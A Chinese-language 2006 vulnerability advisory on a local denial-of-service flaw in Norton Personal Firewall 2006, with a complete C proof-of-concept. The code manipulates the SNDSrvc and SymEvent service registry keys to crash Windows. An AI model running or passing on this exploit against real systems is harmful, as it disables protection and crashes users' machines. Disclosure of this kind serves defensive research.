安全研究
安全漏洞
Symantec Norton个人防火墙注册表访问拒绝服务漏洞
发布日期:2006-07-15
更新日期:2006-07-17
受影响系统:
Symantec Norton Personal Firewall 2006 9.1.0.33描述:
BUGTRAQ ID: 18995
Symantec Norton个人防火墙是非常流行的防火墙软件。
Norton个人防火墙实现上存在漏洞,本地攻击者可能利用此漏洞对防火墙执行拒绝服务攻击。
Norton防火墙没有正确地检查对标准Windows API函数RegSaveKey、RegRestoreKey和RegDeleteKey的调用。在注册表项 HKLM\SYSTEM\CurrentControlSet\Services\SNDSrvc 或 HKLM\SYSTEM\CurrentControlSet\Services\SymEvent 对上述函数的组合调用会触发Norton驱动实现中的错误,导致系统崩溃。
<*来源:David Matousek (david@matousec.com)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m=115298587710164&w=2
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
Testing program for Insufficient protection of Norton service registry keys (BTP00004P002NF)
Usage:
prog
(the program is executed without special arguments)
Description:
This program calls standard registry functions on the registry key "HKLM\SYSTEM\CurrentControlSet\Services\SNDSrvc".
This results in system crash. System crashes also if registry key "HKLM\SYSTEM\CurrentControlSet\Services\SymEvent"
is used.
Test:
Running the testing program.
*/
#include <stdio.h>
#include <windows.h>
void about(void)
{
printf("Testing program for Insufficient protection of Norton service registry keys (BTP00004P002NF)\n");
printf("Windows Personal Firewall analysis project\n");
printf("Copyright 2006 by Matousec - Transparent security\n");
printf("http://www.matousec.com/\n\n");
return;
}
void usage(void)
{
printf("Usage: test\n"
" (the program is executed without special arguments)\n");
return;
}
void print_last_error()
{
LPTSTR buf;
DWORD code=GetLastError();
if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
{
fprintf(stderr,"Error code: %d\n",code);
fprintf(stderr,"Error message: %s",buf);
LocalFree(buf);
} else fprintf(stderr,"Unable to format error message for code %d.\n",code);
return;
}
/*
enable_privilege adds privilege to own token
returns TRUE if succeed
*/
int enable_privilege(char *priv_name)
{
DWORD res=0;
HANDLE tok;
LUID luid;
TOKEN_PRIVILEGES privs;
if (!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&tok)) return 0;
if (LookupPrivilegeValue(NULL,priv_name,&luid))
{
privs.PrivilegeCount=1;
privs.Privileges[0].Luid=luid;
privs.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
DWORD ret_len;
res=AdjustTokenPrivileges(tok,0,&privs,sizeof(TOKEN_PRIVILEGES),NULL,&ret_len);
CloseHandle(tok);
}
return res;
}
/*
enable_backup_privilege adds backup privilege to own token
returns TRUE if succeed
*/
int enable_backup_privilege(void)
{
return enable_privilege(SE_BACKUP_NAME);
}
/*
enable_restore_privilege adds restore privilege to own token
returns TRUE if succeed
*/
int enable_restore_privilege(void)
{
return enable_privilege(SE_RESTORE_NAME);
}
int main(int argc,char **argv)
{
about();
enable_restore_privilege();
enable_backup_privilege();
HKEY key;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SNDSrvc\\Security",0,KEY_READ,&key);
RegSaveKey(key,"bug.regsav",NULL);
RegCloseKey(key);
RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SNDSrvc\\Security",0,
NULL,REG_OPTION_BACKUP_RESTORE,0,NULL,&key,NULL);
RegRestoreKey(key,"bug.regsav",0);
RegCloseKey(key);
DeleteFile("bug.regsav");
RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SNDSrvc\\Security");
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SNDSrvc\\Enum",0,KEY_READ,&key);
RegSaveKey(key,"bug.regsav",NULL);
RegCloseKey(key);
RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SNDSrvc\\Enum",0,
NULL,REG_OPTION_BACKUP_RESTORE,0,NULL,&key,NULL);
RegRestoreKey(key,"bug.regsav",0);
RegCloseKey(key);
DeleteFile("bug.regsav");
RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SNDSrvc\\Enum");
/*
HKEY key;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SymEvent\\Security",0,KEY_READ,&key);
RegSaveKey(key,"bug.regsav",NULL);
RegCloseKey(key);
RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SymEvent\\Security",0,
NULL,REG_OPTION_BACKUP_RESTORE,0,NULL,&key,NULL);
RegRestoreKey(key,"bug.regsav",0);
RegCloseKey(key);
DeleteFile("bug.regsav");
RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SymEvent\\Security");
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SymEvent\\Enum",0,KEY_READ,&key);
RegSaveKey(key,"bug.regsav",NULL);
RegCloseKey(key);
RegCreateKeyEx(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SymEvent\\Enum",0,
NULL,REG_OPTION_BACKUP_RESTORE,0,NULL,&key,NULL);
RegRestoreKey(key,"bug.regsav",0);
RegCloseKey(key);
DeleteFile("bug.regsav");
RegDeleteKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Services\\SymEvent\\Enum");
*/
printf("\nTEST FAILED!\n");
return 1;
}
建议:
厂商补丁:
Symantec
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.symantec.com/sabu/nis/npf/
浏览次数:3787
严重程度:0(网友投票)
绿盟科技给您安全的保障
